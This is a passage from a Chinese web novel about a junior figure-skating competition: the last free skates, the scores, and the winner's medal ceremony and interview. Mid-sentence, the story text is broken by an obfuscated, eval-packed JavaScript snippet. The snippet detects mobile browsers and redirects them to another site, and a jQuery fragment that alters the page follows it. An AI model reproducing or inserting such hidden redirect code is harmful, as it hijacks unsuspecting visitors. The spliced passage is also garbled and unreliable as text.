“悠纪,不要说了呀——”徐慧本来安定的心一下子又提了起来,抓着悠纪的手把人往自己这边靠过来,“一下子成了大魔王黑龙的形象,大势不妙啊。” “不是这个意思啊慧酱。” “反正我们安心看节目现在,悠纪。” 相山成树出场了,主场作战,全场观众的期待都压在他身上。他的自由滑音乐是立本传统风格和现代编曲的结合,细腻又富含情绪。 开场连跳,勾手三周接外点三周,成了。阿克塞尔三周落冰双足。外点四周周数不够翻身,应该会吃符号 这次被夺冠压力驱使,临时更改节目配置,很可惜并没有达成心愿,节目动作失误不止执行分打折扣,节目内容分也会相应被影响。徐慧看着他的表演,心里五味杂陈。她不想承认,但相山成树确实滑得不错,这次比赛可以说只有他和裴舒望算得上有表演,当然裴舒望更能击中她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314908|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心,二人对音乐的表达是她一个外行都能感受到的,如果不是相山成树出现了失误,她不知道排名最终会如何。 节目结束,冰上多出十几个玩偶和花束,是男单这两天最多的。 分数出来的很慢,技术分62.87,节目内容分63.58,自由滑得分127.45,总得分201.03,当前排名暂列第二。 裴舒望不用让位置,依旧坐在领先席,等着最后一位选手的登场。 “好可惜,难度差太多了。”门美悠纪一脸惋惜,十分可惜,“相山君不如继续用原来的配置,好想现场看一眼他clean的完美演出。” “运动员都想赢吧。” 最后一位,格里戈里·拜科夫,来自鄂罗斯。自由滑音乐是经典电影插曲选段,气势恢宏,对表演者的要求不低。开场阿克塞尔三周,漂亮。第二跳后外点冰四周跳,起跳高度不错,落冰时身体明显晃动,稳住了,滑出弧线有些歪。 徐慧的表情变得严肃。 接下来的连跳,拜科夫选择了勾手三周连外点三周,完成得中规中矩。但节目进行的后半段时,他的体力明显下降,第二个阿克塞尔三周起跳轴就歪了,落冰翻身,虽然没有摔倒,但执行分肯定被扣了不少。 节目结束时,拜科夫双手撑着膝盖,大口喘气。分数出来,技术分67.35,节目内容分60.00,自由滑得分127.35,总得分202.63,当前排名第二。 当“第二”的字样出现在转播屏幕上时,徐慧愣了一秒,然后猛地抱住门美悠纪,激动得说不出话。门美悠纪被她勒得喘不过气,但还是笑着拍她的背。 最终排名定格。 第一名,裴舒望,216.52分。 第二名,格里戈里·拜科夫,202.63分。 第三名,相山成树,201.03分。 看着屏幕上的最终排名,自己的名字稳稳挂在第一的位置,裴舒望轻轻呼出一口气。短节目第三到自由滑第一,总分断层第一,第一块青年分站赛金牌,到手。 裴舒望从座位起身,向周围观众挥手致意,观众席上的掌声比刚才更热烈了。邝辉已经激动得语无伦次了,走到裴舒望边上用力抱紧他,“冠军!第一名!太棒了裴舒望!” 颁奖仪式上,裴舒望站在领奖台最高处,怀里抱着工作人员递来的花束。金牌挂在脖子上,被场内灯光照得格外耀眼,金灿灿的。 国歌响起,是华国的国歌。 他站在最高处,嘴唇微微翕动,跟着旋律轻声哼唱。 仪式结束后,混合采访区里,记者围住了他。问题一个接一个,他回答得很简短,但每一个都认真对待。 “第一次参加国际赛就夺冠,有什么感想?” “很高兴,但只是开始。” “接下来有什么目标?” “总决赛,然后全锦赛。”